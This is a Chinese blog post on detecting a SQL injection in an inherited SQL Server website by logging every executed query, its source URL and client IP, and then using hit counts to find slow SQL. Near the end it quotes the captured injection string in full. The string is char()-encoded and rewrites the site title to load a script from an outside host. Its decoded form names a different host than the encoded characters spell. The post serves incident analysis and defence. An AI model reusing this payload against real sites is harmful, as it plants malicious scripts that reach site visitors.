SQL Server 记一次成功的sql注入入侵检测附带sql性能优化
这篇文章主要为大家详细介绍了SQL Server 记一次成功的sql注入入侵检测附带sql性能优化,具有一定的参考价值,可以用来参考一下。
对此感兴趣的朋友,看看idc笔记做的技术笔记!
但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序,那么你会非常痛苦,例如我遇到的问题:问题1.老板对你说,以前刚做完网站好好了,没有出现木马,怎么你来了,就会出现木马,先别说了,赶紧解决问题,我彻底无语,但是如果争吵,其实证明你和老板一样无知,拿出证据和事实分析来让公司其他稍微懂技术的一起来证明,公司网站被挂马不是你来了的错。如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 Fckeditor使用笔记 ,其实很多人都遇到过,也解决过,都是小问题,但是让你老板明白比解决漏洞问题更蛋疼,我那解释的叫一个汗啊,恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马,然后演示怎么上传木马,奶奶的,黑客教程普及啊。问题2.网站又出现问题,上次的问题解决了不过两个月,网站又被入侵挂马,如是老板这次再说因为我来了才出问题,立马走人,这就是为什么不能更不懂技术的人硬碰硬,更不能和你的老板来说,说了你又不懂。但是要命的是网站是以前的技术开发的二等残废,在别个的cms上修改的,我必须保证网站在的开发的同时旧的模块还可以使用,通过逐步更新的方法将网站底层翻新,但是那么多页面,你很难一个一个去检测那个页面有漏洞,如是写出下面的检测代码,没想到这么简单的就搞定了,并且可以通过此方法优化你的sql。第一步建立一个sql日志表代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <code> CREATE TABLE [dbo].[my_sqllog]( [id] [bigint] IDENTITY(1,1) NOT NULL, [hit] [bigint] NULL, [sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [begintime] [datetime] NULL, [endtime] [datetime] NULL, [fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL, [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL, [lastelapsedtime] [bigint] NULL, CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED ( [id] ASC )WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY] ) ON [PRIMARY] </code> |
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | <code> public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams) { #region 参数处理 string colums = "" ; string dbtypes = "" ; string values = "" ; string paramdetails = "" ; if (cmdParams != null && cmdParams.Length > 0) { foreach (DbParameter param in cmdParams) { if (param == null) { continue ; } colums += param.ParameterName + " " ; dbtypes += param.DbType + " " ; values += param.Value + ";" ; } paramdetails = string.Format( " {0},{1},{2}" , colums, dbtypes, values); } string fromurl = "" ; if (System.Web.HttpContext.Current!=null) { fromurl = System.Web.HttpContext.Current.Request.Url.ToString(); } // commandText = commandText.Replace("'","‘").Replace(";",";"); SqlParameter[] parameters = new SqlParameter[] { new SqlParameter( "@hit" ,1), new SqlParameter( "@sqltext" ,commandText), new SqlParameter( "@paramdetails" ,paramdetails), new SqlParameter( "@begintime" ,DateTime.Now), new SqlParameter( "@endtime" ,DateTime.Now), new SqlParameter( "@fromurl" ,fromurl), new SqlParameter( "@ip" ,Web.PressRequest.GetIP()), new SqlParameter( "@lastelapsedtime" ,0), }; #endregion using (DbConnection connection = Factory.CreateConnection()) { connection.ConnectionString = GetRealConnectionString(commandText); //ConnectionString; string sql = "" ; // 执行DbCommand命令,并返回结果. int id = Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text, "select top 1 id from my_sqllog where sqltext=@sqltext" , new SqlParameter( "@sqltext" , commandText))); if (id > 0) { sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id; } else { sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)" ; } // 创建DbCommand命令,并进行预处理 DbCommand cmd = Factory.CreateCommand(); bool mustCloseConnection = false; PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection); // 执行DbCommand命令,并返回结果. int retval = cmd.ExecuteNonQuery(); // 清除参数,以便再次使用. cmd.Parameters.Clear(); if (mustCloseConnection) connection.Close(); return retval; } } </code> |
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <code> private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters) { if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException( "ConnectionString" ); // 创建并打开数据库连接对象,操作完成释放对象. using (DbConnection connection = Factory.CreateConnection()) { if (connection == null) throw new ArgumentNullException( "connection" ); //connection.Close(); connection.ConnectionString = GetRealConnectionString(commandText); connection.Open(); // 创建DbCommand命令,并进行预处理 DbCommand cmd = Factory.CreateCommand(); bool mustCloseConnection = false; PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection); // 执行DbCommand命令,并返回结果. object retval = cmd.ExecuteScalar(); // 清除参数,以便再次使用. cmd.Parameters.Clear(); if (mustCloseConnection) connection.Close(); return retval; } } </code> |
代码如下:
1 2 3 4 | <code> //执行sql之前进行日志记录操纵 int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters); </code> |
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <code> public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters) { if (connection == null) throw new ArgumentNullException( "connection" ); //connection.Close(); connection.ConnectionString = GetRealConnectionString(commandText); connection.Open(); // 创建DbCommand命令,并进行预处理 DbCommand cmd = Factory.CreateCommand(); bool mustCloseConnection = false; PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection); //执行sql之前进行日志记录操纵 int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters); // 执行DbCommand命令,并返回结果. object retval = cmd.ExecuteScalar(); // 清除参数,以便再次使用. cmd.Parameters.Clear(); if (mustCloseConnection) connection.Close(); return retval; } </code> |
然后你会发现入侵的入口被记录下来了,后面方框里的就是构造注入的sql
【图片暂缺】
构造sql如下:39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--转码后变成这样了: update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://512pic.com/ur.php></script>')这个就是木马地址,没事你就别点了,好奇害死猫。小结:既然知道入口就知道怎么补救了吧,把string类型该过滤的都过滤掉,int类型的就得是int类型,别让数据库替你隐式转。通过此sql日志记录,你应该发现一点那个hit还是有点价值的。通过select top 100 * from my_sqllog order by hit desc你会发现你写的那么多sql原来真垃圾,在条件允许的情况下干嘛不把它放到缓存里。所以后来我写的sql基本不在这top 100里。抛砖引玉,望高手批评,以上入侵方法希望刚学习做程序员的同学不要用来欺负小网站,伤不起。作者:jqbird
注:关于SQL Server 记一次成功的sql注入入侵检测附带sql性能优化的内容就先介绍到这里,更多相关文章的可以留意